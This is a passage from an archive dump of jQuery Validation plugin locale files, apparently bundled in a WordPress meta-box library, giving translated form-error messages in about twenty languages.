	rangelength: $.validator.format( "Унесите вредност дугачку између {0} и {1} карактера." ),
	range: $.validator.format( "Унесите вредност између {0} и {1}." ),
	max: $.validator.format( "Унесите вредност мању или једнаку {0}." ),
	min: $.validator.format( "Унесите вредност већу или једнаку {0}." ),
	step: $.validator.format( "Унесите вредност која је умножак броја {0}." )
} );
return $;
}));PK     0w\M  M  8  dashboard/lib/meta-box/js/validation/i18n/messages_hr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HR (Croatia; hrvatski jezik)
 */
$.extend( $.validator.messages, {
	required: "Ovo polje je obavezno.",
	remote: "Ovo polje treba popraviti.",
	email: "Unesite ispravnu e-mail adresu.",
	url: "Unesite ispravan URL.",
	date: "Unesite ispravan datum.",
	dateISO: "Unesite ispravan datum (ISO).",
	number: "Unesite ispravan broj.",
	digits: "Unesite samo brojeve.",
	creditcard: "Unesite ispravan broj kreditne kartice.",
	equalTo: "Unesite ponovo istu vrijednost.",
	extension: "Unesite vrijednost sa ispravnom ekstenzijom.",
	maxlength: $.validator.format( "Maksimalni broj znakova je {0} ." ),
	minlength: $.validator.format( "Minimalni broj znakova je {0} ." ),
	rangelength: $.validator.format( "Unesite vrijednost između {0} i {1} znakova." ),
	range: $.validator.format( "Unesite vrijednost između {0} i {1}." ),
	max: $.validator.format( "Unesite vrijednost manju ili jednaku {0}." ),
	min: $.validator.format( "Unesite vrijednost veću ili jednaku {0}." )
} );
return $;
}));PK     0w\
    ;  dashboard/lib/meta-box/js/validation/i18n/messages_es_AR.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ES (Spanish; Español)
 * Region: AR (Argentina)
 */
$.extend( $.validator.messages, {
	required: "Este campo es obligatorio.",
	remote: "Por favor, completá este campo.",
	email: "Por favor, escribí una dirección de correo válida.",
	url: "Por favor, escribí una URL válida.",
	date: "Por favor, escribí una fecha válida.",
	dateISO: "Por favor, escribí una fecha (ISO) válida.",
	number: "Por favor, escribí un número entero válido.",
	digits: "Por favor, escribí sólo dígitos.",
	creditcard: "Por favor, escribí un número de tarjeta válido.",
	equalTo: "Por favor, escribí el mismo valor de nuevo.",
	extension: "Por favor, escribí un valor con una extensión aceptada.",
	maxlength: $.validator.format( "Por favor, no escribas más de {0} caracteres." ),
	minlength: $.validator.format( "Por favor, no escribas menos de {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, escribí un valor entre {0} y {1} caracteres." ),
	range: $.validator.format( "Por favor, escribí un valor entre {0} y {1}." ),
	max: $.validator.format( "Por favor, escribí un valor menor o igual a {0}." ),
	min: $.validator.format( "Por favor, escribí un valor mayor o igual a {0}." ),
	nifES: "Por favor, escribí un NIF válido.",
	nieES: "Por favor, escribí un NIE válido.",
	cifES: "Por favor, escribí un CIF válido."
} );
return $;
}));PK     0w\sk5]    8  dashboard/lib/meta-box/js/validation/i18n/messages_is.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: IS (Icelandic; íslenska)
 */
$.extend( $.validator.messages, {
	required: "Þessi reitur er nauðsynlegur.",
	remote: "Lagaðu þennan reit.",
	maxlength: $.validator.format( "Sláðu inn mest {0} stafi." ),
	minlength: $.validator.format( "Sláðu inn minnst {0} stafi." ),
	rangelength: $.validator.format( "Sláðu inn minnst {0} og mest {1} stafi." ),
	email: "Sláðu inn gilt netfang.",
	url: "Sláðu inn gilda vefslóð.",
	date: "Sláðu inn gilda dagsetningu.",
	number: "Sláðu inn tölu.",
	digits: "Sláðu inn tölustafi eingöngu.",
	equalTo: "Sláðu sama gildi inn aftur.",
	range: $.validator.format( "Sláðu inn gildi milli {0} og {1}." ),
	max: $.validator.format( "Sláðu inn gildi sem er minna en eða jafnt og {0}." ),
	min: $.validator.format( "Sláðu inn gildi sem er stærra en eða jafnt og {0}." ),
	creditcard: "Sláðu inn gilt greiðslukortanúmer."
} );
return $;
}));PK     0w\    8  dashboard/lib/meta-box/js/validation/i18n/messages_az.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: Az (Azeri; azərbaycan dili)
 */
$.extend( $.validator.messages, {
	required: "Bu xana mütləq doldurulmalıdır.",
	remote: "Zəhmət olmasa, düzgün məna daxil edin.",
	email: "Zəhmət olmasa, düzgün elektron poçt daxil edin.",
	url: "Zəhmət olmasa, düzgün URL daxil edin.",
	date: "Zəhmət olmasa, düzgün tarix daxil edin.",
	dateISO: "Zəhmət olmasa, düzgün ISO formatlı tarix daxil edin.",
	number: "Zəhmət olmasa, düzgün rəqəm daxil edin.",
	digits: "Zəhmət olmasa, yalnız rəqəm daxil edin.",
	creditcard: "Zəhmət olmasa, düzgün kredit kart nömrəsini daxil edin.",
	equalTo: "Zəhmət olmasa, eyni mənanı bir daha daxil edin.",
	extension: "Zəhmət olmasa, düzgün genişlənməyə malik faylı seçin.",
	maxlength: $.validator.format( "Zəhmət olmasa, {0} simvoldan çox olmayaraq daxil edin." ),
	minlength: $.validator.format( "Zəhmət olmasa, {0} simvoldan az olmayaraq daxil edin." ),
	rangelength: $.validator.format( "Zəhmət olmasa, {0} - {1} aralığında uzunluğa malik simvol daxil edin." ),
	range: $.validator.format( "Zəhmət olmasa, {0} - {1} aralığında rəqəm daxil edin." ),
	max: $.validator.format( "Zəhmət olmasa, {0} və ondan kiçik rəqəm daxil edin." ),
	min: $.validator.format( "Zəhmət olmasa, {0} və ondan böyük rəqəm daxil edin." )
} );
return $;
}));PK     0w\W    8  dashboard/lib/meta-box/js/validation/i18n/messages_id.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ID (Indonesia; Indonesian)
 */
$.extend( $.validator.messages, {
	required: "Kolom ini diperlukan.",
	remote: "Harap benarkan kolom ini.",
	email: "Silakan masukkan format email yang benar.",
	url: "Silakan masukkan format URL yang benar.",
	date: "Silakan masukkan format tanggal yang benar.",
	dateISO: "Silakan masukkan format tanggal(ISO) yang benar.",
	number: "Silakan masukkan angka yang benar.",
	digits: "Harap masukan angka saja.",
	creditcard: "Harap masukkan format kartu kredit yang benar.",
	equalTo: "Harap masukkan nilai yg sama dengan sebelumnya.",
	maxlength: $.validator.format( "Input dibatasi hanya {0} karakter." ),
	minlength: $.validator.format( "Input tidak kurang dari {0} karakter." ),
	rangelength: $.validator.format( "Panjang karakter yg diizinkan antara {0} dan {1} karakter." ),
	range: $.validator.format( "Harap masukkan nilai antara {0} dan {1}." ),
	max: $.validator.format( "Harap masukkan nilai lebih kecil atau sama dengan {0}." ),
	min: $.validator.format( "Harap masukkan nilai lebih besar atau sama dengan {0}." )
} );
return $;
}));PK     0w\}    8  dashboard/lib/meta-box/js/validation/i18n/messages_fr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: FR (French; français)
 */
$.extend( $.validator.messages, {
	required: "Ce champ est obligatoire.",
	remote: "Veuillez corriger ce champ.",
	email: "Veuillez fournir une adresse électronique valide.",
	url: "Veuillez fournir une adresse URL valide.",
	date: "Veuillez fournir une date valide.",
	dateISO: "Veuillez fournir une date valide (ISO).",
	number: "Veuillez fournir un numéro valide.",
	digits: "Veuillez fournir seulement des chiffres.",
	creditcard: "Veuillez fournir un numéro de carte de crédit valide.",
	equalTo: "Veuillez fournir encore la même valeur.",
	notEqualTo: "Veuillez fournir une valeur différente, les valeurs ne doivent pas être identiques.",
	extension: "Veuillez fournir une valeur avec une extension valide.",
	maxlength: $.validator.format( "Veuillez fournir au plus {0} caractères." ),
	minlength: $.validator.format( "Veuillez fournir au moins {0} caractères." ),
	rangelength: $.validator.format( "Veuillez fournir une valeur qui contient entre {0} et {1} caractères." ),
	range: $.validator.format( "Veuillez fournir une valeur entre {0} et {1}." ),
	max: $.validator.format( "Veuillez fournir une valeur inférieure ou égale à {0}." ),
	min: $.validator.format( "Veuillez fournir une valeur supérieure ou égale à {0}." ),
	step: $.validator.format( "Veuillez fournir une valeur multiple de {0}." ),
	maxWords: $.validator.format( "Veuillez fournir au plus {0} mots." ),
	minWords: $.validator.format( "Veuillez fournir au moins {0} mots." ),
	rangeWords: $.validator.format( "Veuillez fournir entre {0} et {1} mots." ),
	letterswithbasicpunc: "Veuillez fournir seulement des lettres et des signes de ponctuation.",
	alphanumeric: "Veuillez fournir seulement des lettres, nombres, espaces et soulignages.",
	lettersonly: "Veuillez fournir seulement des lettres.",
	nowhitespace: "Veuillez ne pas inscrire d'espaces blancs.",
	ziprange: "Veuillez fournir un code postal entre 902xx-xxxx et 905-xx-xxxx.",
	integer: "Veuillez fournir un nombre non décimal qui est positif ou négatif.",
	vinUS: "Veuillez fournir un numéro d'identification du véhicule (VIN).",
	dateITA: "Veuillez fournir une date valide.",
	time: "Veuillez fournir une heure valide entre 00:00 et 23:59.",
	phoneUS: "Veuillez fournir un numéro de téléphone valide.",
	phoneUK: "Veuillez fournir un numéro de téléphone valide.",
	mobileUK: "Veuillez fournir un numéro de téléphone mobile valide.",
	strippedminlength: $.validator.format( "Veuillez fournir au moins {0} caractères." ),
	email2: "Veuillez fournir une adresse électronique valide.",
	url2: "Veuillez fournir une adresse URL valide.",
	creditcardtypes: "Veuillez fournir un numéro de carte de crédit valide.",
	currency: "Veuillez fournir une monnaie valide.",
	ipv4: "Veuillez fournir une adresse IP v4 valide.",
	ipv6: "Veuillez fournir une adresse IP v6 valide.",
	require_from_group: $.validator.format( "Veuillez fournir au moins {0} de ces champs." ),
	nifES: "Veuillez fournir un numéro NIF valide.",
	nieES: "Veuillez fournir un numéro NIE valide.",
	cifES: "Veuillez fournir un numéro CIF valide.",
	postalCodeCA: "Veuillez fournir un code postal valide.",
	pattern: "Format non valide."
} );
return $;
}));PK     0w\e8f    8  dashboard/lib/meta-box/js/validation/i18n/messages_es.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ES (Spanish; Español)
 */
$.extend( $.validator.messages, {
	required: "Este campo es obligatorio.",
	remote: "Por favor, rellena este campo.",
	email: "Por favor, escribe una dirección de correo válida.",
	url: "Por favor, escribe una URL válida.",
	date: "Por favor, escribe una fecha válida.",
	dateISO: "Por favor, escribe una fecha (ISO) válida.",
	number: "Por favor, escribe un número válido.",
	digits: "Por favor, escribe sólo dígitos.",
	creditcard: "Por favor, escribe un número de tarjeta válido.",
	equalTo: "Por favor, escribe el mismo valor de nuevo.",
	extension: "Por favor, escribe un valor con una extensión aceptada.",
	maxlength: $.validator.format( "Por favor, no escribas más de {0} caracteres." ),
	minlength: $.validator.format( "Por favor, no escribas menos de {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, escribe un valor entre {0} y {1} caracteres." ),
	range: $.validator.format( "Por favor, escribe un valor entre {0} y {1}." ),
	max: $.validator.format( "Por favor, escribe un valor menor o igual a {0}." ),
	min: $.validator.format( "Por favor, escribe un valor mayor o igual a {0}." ),
	nifES: "Por favor, escribe un NIF válido.",
	nieES: "Por favor, escribe un NIE válido.",
	cifES: "Por favor, escribe un CIF válido."
} );
return $;
}));PK     0w\;j}  }  8  dashboard/lib/meta-box/js/validation/i18n/messages_hu.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HU (Hungarian; Magyar)
 */
$.extend( $.validator.messages, {
	required: "Kötelező megadni.",
	maxlength: $.validator.format( "Legfeljebb {0} karakter hosszú legyen." ),
	minlength: $.validator.format( "Legalább {0} karakter hosszú legyen." ),
	rangelength: $.validator.format( "Legalább {0} és legfeljebb {1} karakter hosszú legyen." ),
	email: "Érvényes e-mail címnek kell lennie.",
	url: "Érvényes URL-nek kell lennie.",
	date: "Dátumnak kell lennie.",
	number: "Számnak kell lennie.",
	digits: "Csak számjegyek lehetnek.",
	equalTo: "Meg kell egyeznie a két értéknek.",
	range: $.validator.format( "{0} és {1} közé kell esnie." ),
	max: $.validator.format( "Nem lehet nagyobb, mint {0}." ),
	min: $.validator.format( "Nem lehet kisebb, mint {0}." ),
	creditcard: "Érvényes hitelkártyaszámnak kell lennie.",
	remote: "Kérem javítsa ki ezt a mezőt.",
	dateISO: "Kérem írjon be egy érvényes dátumot (ISO).",
	step: $.validator.format( "A {0} egyik többszörösét adja meg." )
} );
return $;
}));PK     0w\K    8  dashboard/lib/meta-box/js/validation/i18n/messages_sk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SK (Slovak; slovenčina, slovenský jazyk)
 */
$.extend( $.validator.messages, {
	required: "Povinné zadať.",
	maxlength: $.validator.format( "Maximálne {0} znakov." ),
	minlength: $.validator.format( "Minimálne {0} znakov." ),
	rangelength: $.validator.format( "Minimálne {0} a maximálne {1} znakov." ),
	email: "E-mailová adresa musí byť platná.",
	url: "URL musí byť platná.",
	date: "Musí byť dátum.",
	number: "Musí byť číslo.",
	digits: "Môže obsahovať iba číslice.",
	equalTo: "Dve hodnoty sa musia rovnať.",
	range: $.validator.format( "Musí byť medzi {0} a {1}." ),
	max: $.validator.format( "Nemôže byť viac ako {0}." ),
	min: $.validator.format( "Nemôže byť menej ako {0}." ),
	creditcard: "Číslo platobnej karty musí byť platné.",
	step: $.validator.format( "Musí byť násobkom čísla {0}." )
} );
return $;
}));PK     0w\m    8  dashboard/lib/meta-box/js/validation/i18n/messages_et.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ET (Estonian; eesti, eesti keel)
 */
$.extend( $.validator.messages, {
	required: "See väli peab olema täidetud.",
	maxlength: $.validator.format( "Palun sisestage vähem kui {0} tähemärki." ),
	minlength: $.validator.format( "Palun sisestage vähemalt {0} tähemärki." ),
	rangelength: $.validator.format( "Palun sisestage väärtus vahemikus {0} kuni {1} tähemärki." ),
	email: "Palun sisestage korrektne e-maili aadress.",
	url: "Palun sisestage korrektne URL.",
	date: "Palun sisestage korrektne kuupäev.",
	dateISO: "Palun sisestage korrektne kuupäev (YYYY-MM-DD).",
	number: "Palun sisestage korrektne number.",
	digits: "Palun sisestage ainult numbreid.",
	equalTo: "Palun sisestage sama väärtus uuesti.",
	range: $.validator.format( "Palun sisestage väärtus vahemikus {0} kuni {1}." ),
	max: $.validator.format( "Palun sisestage väärtus, mis on väiksem või võrdne arvuga {0}." ),
	min: $.validator.format( "Palun sisestage väärtus, mis on suurem või võrdne arvuga {0}." ),
	creditcard: "Palun sisestage korrektne krediitkaardi number."
} );
return $;
}));PK     0w\T5ۥ    ;  dashboard/lib/meta-box/js/validation/i18n/messages_es_PE.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ES (Spanish; Español)
 * Region: PE (Perú)
 */
$.extend( $.validator.messages, {
	required: "Este campo es obligatorio.",
	remote: "Por favor, llene este campo.",
	email: "Por favor, escriba un correo electrónico válido.",
	url: "Por favor, escriba una URL válida.",
	date: "Por favor, escriba una fecha válida.",
	dateISO: "Por favor, escriba una fecha (ISO) válida.",
	number: "Por favor, escriba un número válido.",
	digits: "Por favor, escriba sólo dígitos.",
	creditcard: "Por favor, escriba un número de tarjeta válido.",
	equalTo: "Por favor, escriba el mismo valor de nuevo.",
	extension: "Por favor, escriba un valor con una extensión permitida.",
	maxlength: $.validator.format( "Por favor, no escriba más de {0} caracteres." ),
	minlength: $.validator.format( "Por favor, no escriba menos de {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, escriba un valor entre {0} y {1} caracteres." ),
	range: $.validator.format( "Por favor, escriba un valor entre {0} y {1}." ),
	max: $.validator.format( "Por favor, escriba un valor menor o igual a {0}." ),
	min: $.validator.format( "Por favor, escriba un valor mayor o igual a {0}." ),
	nifES: "Por favor, escriba un NIF válido.",
	nieES: "Por favor, escriba un NIE válido.",
	cifES: "Por favor, escriba un CIF válido."
} );
return $;
}));PK     0w\~B<    8  dashboard/lib/meta-box/js/validation/i18n/messages_it.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: IT (Italian; Italiano)
 */
$.extend( $.validator.messages, {
	required: "Campo obbligatorio.",
	remote: "Controlla questo campo.",
	email: "Inserisci un indirizzo email valido.",
	url: "Inserisci un indirizzo web valido.",
	date: "Inserisci una data valida.",
	dateISO: "Inserisci una data valida (ISO).",
	number: "Inserisci un numero valido.",
	digits: "Inserisci solo numeri.",
	creditcard: "Inserisci un numero di carta di credito valido.",
	equalTo: "Il valore non corrisponde.",
	extension: "Inserisci un valore con un&apos;estensione valida.",
	maxlength: $.validator.format( "Non inserire pi&ugrave; di {0} caratteri." ),
	minlength: $.validator.format( "Inserisci almeno {0} caratteri." ),
	rangelength: $.validator.format( "Inserisci un valore compreso tra {0} e {1} caratteri." ),
	range: $.validator.format( "Inserisci un valore compreso tra {0} e {1}." ),
	max: $.validator.format( "Inserisci un valore minore o uguale a {0}." ),
	min: $.validator.format( "Inserisci un valore maggiore o uguale a {0}." ),
	nifES: "Inserisci un NIF valido.",
	nieES: "Inserisci un NIE valido.",
	cifES: "Inserisci un CIF valido.",
	currency: "Inserisci una valuta valida."
} );
return $;
}));PK     0w\e    8  dashboard/lib/meta-box/js/validation/i18n/messages_fa.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: FA (Persian; فارسی)
 */
$.extend( $.validator.messages, {
	required: "تکمیل این فیلد اجباری است.",
	remote: "لطفا این فیلد را تصحیح کنید.",
	email: "لطفا یک ایمیل صحیح وارد کنید.",
	url: "لطفا آدرس صحیح وارد کنید.",
	date: "لطفا تاریخ صحیح وارد کنید.",
	dateFA: "لطفا یک تاریخ صحیح وارد کنید.",
	dateISO: "لطفا تاریخ صحیح وارد کنید (ISO).",
	number: "لطفا عدد صحیح وارد کنید.",
	digits: "لطفا تنها رقم وارد کنید.",
	creditcard: "لطفا کریدیت کارت صحیح وارد کنید.",
	equalTo: "لطفا مقدار برابری وارد کنید.",
	extension: "لطفا مقداری وارد کنید که.",
	alphanumeric: "لطفا مقدار را عدد (انگلیسی) وارد کنید.",
	maxlength: $.validator.format( "لطفا بیشتر از {0} حرف وارد نکنید." ),
	minlength: $.validator.format( "لطفا کمتر از {0} حرف وارد نکنید." ),
	rangelength: $.validator.format( "لطفا مقداری بین {0} تا {1} حرف وارد کنید." ),
	range: $.validator.format( "لطفا مقداری بین {0} تا {1} حرف وارد کنید." ),
	max: $.validator.format( "لطفا مقداری کمتر از {0} وارد کنید." ),
	min: $.validator.format( "لطفا مقداری بیشتر از {0} وارد کنید." ),
	minWords: $.validator.format( "لطفا حداقل {0} کلمه وارد کنید." ),
	maxWords: $.validator.format( "لطفا حداکثر {0} کلمه وارد کنید." )
} );
return $;
}));PK     0w\5a    8  dashboard/lib/meta-box/js/validation/i18n/messages_sv.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SV (Swedish; Svenska)
 */
$.extend( $.validator.messages, {
	required: "Detta f&auml;lt &auml;r obligatoriskt.",
	remote: "Var snäll och åtgärda detta fält.",
	maxlength: $.validator.format( "Du f&aring;r ange h&ouml;gst {0} tecken." ),
	minlength: $.validator.format( "Du m&aring;ste ange minst {0} tecken." ),
	rangelength: $.validator.format( "Ange minst {0} och max {1} tecken." ),
	email: "Ange en korrekt e-postadress.",
	url: "Ange en korrekt URL.",
	date: "Ange ett korrekt datum.",
	dateISO: "Ange ett korrekt datum (&Aring;&Aring;&Aring;&Aring;-MM-DD).",
	number: "Ange ett korrekt nummer.",
	digits: "Ange endast siffror.",
	equalTo: "Ange samma v&auml;rde igen.",
	range: $.validator.format( "Ange ett v&auml;rde mellan {0} och {1}." ),
	max: $.validator.format( "Ange ett v&auml;rde som &auml;r mindre eller lika med {0}." ),
	min: $.validator.format( "Ange ett v&auml;rde som &auml;r st&ouml;rre eller lika med {0}." ),
	creditcard: "Ange ett korrekt kreditkortsnummer.",
	pattern: "Ogiltigt format."
} );
return $;
}));PK     0w\2$}    8  dashboard/lib/meta-box/js/validation/i18n/messages_lv.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: LV (Latvian; latviešu valoda)
 */
$.extend( $.validator.messages, {
	required: "Šis lauks ir obligāts.",
	remote: "Lūdzu, pārbaudiet šo lauku.",
	email: "Lūdzu, ievadiet derīgu e-pasta adresi.",
	url: "Lūdzu, ievadiet derīgu URL adresi.",
	date: "Lūdzu, ievadiet derīgu datumu.",
	dateISO: "Lūdzu, ievadiet derīgu datumu (ISO).",
	number: "Lūdzu, ievadiet derīgu numuru.",
	digits: "Lūdzu, ievadiet tikai ciparus.",
	creditcard: "Lūdzu, ievadiet derīgu kredītkartes numuru.",
	equalTo: "Lūdzu, ievadiet to pašu vēlreiz.",
	extension: "Lūdzu, ievadiet vērtību ar derīgu paplašinājumu.",
	maxlength: $.validator.format( "Lūdzu, ievadiet ne vairāk kā {0} rakstzīmes." ),
	minlength: $.validator.format( "Lūdzu, ievadiet vismaz {0} rakstzīmes." ),
	rangelength: $.validator.format( "Lūdzu ievadiet {0} līdz {1} rakstzīmes." ),
	range: $.validator.format( "Lūdzu, ievadiet skaitli no {0} līdz {1}." ),
	max: $.validator.format( "Lūdzu, ievadiet skaitli, kurš ir mazāks vai vienāds ar {0}." ),
	min: $.validator.format( "Lūdzu, ievadiet skaitli, kurš ir lielāks vai vienāds ar {0}." )
} );
return $;
}));PK     0w\akj    8  dashboard/lib/meta-box/js/validation/i18n/messages_ca.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: CA (Catalan; català)
 */
$.extend( $.validator.messages, {
	required: "Aquest camp és obligatori.",
	remote: "Si us plau, omple aquest camp.",
	email: "Si us plau, escriu una adreça de correu-e vàlida.",
	url: "Si us plau, escriu una URL vàlida.",
	date: "Si us plau, escriu una data vàlida.",
	dateISO: "Si us plau, escriu una data (ISO) vàlida.",
	number: "Si us plau, escriu un número enter vàlid.",
	digits: "Si us plau, escriu només dígits.",
	creditcard: "Si us plau, escriu un número de tarjeta vàlid.",
	equalTo: "Si us plau, escriu el mateix valor de nou.",
	extension: "Si us plau, escriu un valor amb una extensió acceptada.",
	maxlength: $.validator.format( "Si us plau, no escriguis més de {0} caracters." ),
	minlength: $.validator.format( "Si us plau, no escriguis menys de {0} caracters." ),
	rangelength: $.validator.format( "Si us plau, escriu un valor entre {0} i {1} caracters." ),
	range: $.validator.format( "Si us plau, escriu un valor entre {0} i {1}." ),
	max: $.validator.format( "Si us plau, escriu un valor menor o igual a {0}." ),
	min: $.validator.format( "Si us plau, escriu un valor major o igual a {0}." )
} );
return $;
}));PK     0w\P    8  dashboard/lib/meta-box/js/validation/i18n/messages_nl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: NL (Dutch; Nederlands, Vlaams)
 */
$.extend( $.validator.messages, {
	required: "Dit is een verplicht veld.",
	remote: "Controleer dit veld.",
	email: "Vul hier een geldig e-mailadres in.",
	url: "Vul hier een geldige URL in.",
	date: "Vul hier een geldige datum in.",
	dateISO: "Vul hier een geldige datum in (ISO-formaat).",
	number: "Vul hier een geldig getal in.",
	digits: "Vul hier alleen getallen in.",
	creditcard: "Vul hier een geldig creditcardnummer in.",
	equalTo: "Vul hier dezelfde waarde in.",
	extension: "Vul hier een waarde in met een geldige extensie.",
	maxlength: $.validator.format( "Vul hier maximaal {0} tekens in." ),
	minlength: $.validator.format( "Vul hier minimaal {0} tekens in." ),
	rangelength: $.validator.format( "Vul hier een waarde in van minimaal {0} en maximaal {1} tekens." ),
	range: $.validator.format( "Vul hier een waarde in van minimaal {0} en maximaal {1}." ),
	max: $.validator.format( "Vul hier een waarde in kleiner dan of gelijk aan {0}." ),
	min: $.validator.format( "Vul hier een waarde in groter dan of gelijk aan {0}." ),
	step: $.validator.format( "Vul hier een veelvoud van {0} in." ),

	// For validations in additional-methods.js
	iban: "Vul hier een geldig IBAN in.",
	dateNL: "Vul hier een geldige datum in.",
	phoneNL: "Vul hier een geldig Nederlands telefoonnummer in.",
	mobileNL: "Vul hier een geldig Nederlands mobiel telefoonnummer in.",
	postalcodeNL: "Vul hier een geldige postcode in.",
	bankaccountNL: "Vul hier een geldig bankrekeningnummer in.",
	giroaccountNL: "Vul hier een geldig gironummer in.",
	bankorgiroaccountNL: "Vul hier een geldig bank- of gironummer in."
} );
return $;
}));PK     0w\5ݗ"  "  8  dashboard/lib/meta-box/js/validation/i18n/messages_fi.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: FI (Finnish; suomi, suomen kieli)
 */
$.extend( $.validator.messages, {
	required: "T&auml;m&auml; kentt&auml; on pakollinen.",
	email: "Sy&ouml;t&auml; oikea s&auml;hk&ouml;postiosoite.",
	url: "Sy&ouml;t&auml; oikea URL-osoite.",
	date: "Sy&ouml;t&auml; oikea p&auml;iv&auml;m&auml;&auml;r&auml;.",
	dateISO: "Sy&ouml;t&auml; oikea p&auml;iv&auml;m&auml;&auml;r&auml; muodossa VVVV-KK-PP.",
	number: "Sy&ouml;t&auml; luku.",
	creditcard: "Sy&ouml;t&auml; voimassa oleva luottokorttinumero.",
	digits: "Sy&ouml;t&auml; pelk&auml;st&auml;&auml;n numeroita.",
	equalTo: "Sy&ouml;t&auml; sama arvo uudestaan.",
	maxlength: $.validator.format( "Voit sy&ouml;tt&auml;&auml; enint&auml;&auml;n {0} merkki&auml;." ),
	minlength: $.validator.format( "V&auml;hint&auml;&auml;n {0} merkki&auml;." ),
	rangelength: $.validator.format( "Sy&ouml;t&auml; v&auml;hint&auml;&auml;n {0} ja enint&auml;&auml;n {1} merkki&auml;." ),
	range: $.validator.format( "Sy&ouml;t&auml; arvo v&auml;lilt&auml; {0}&ndash;{1}." ),
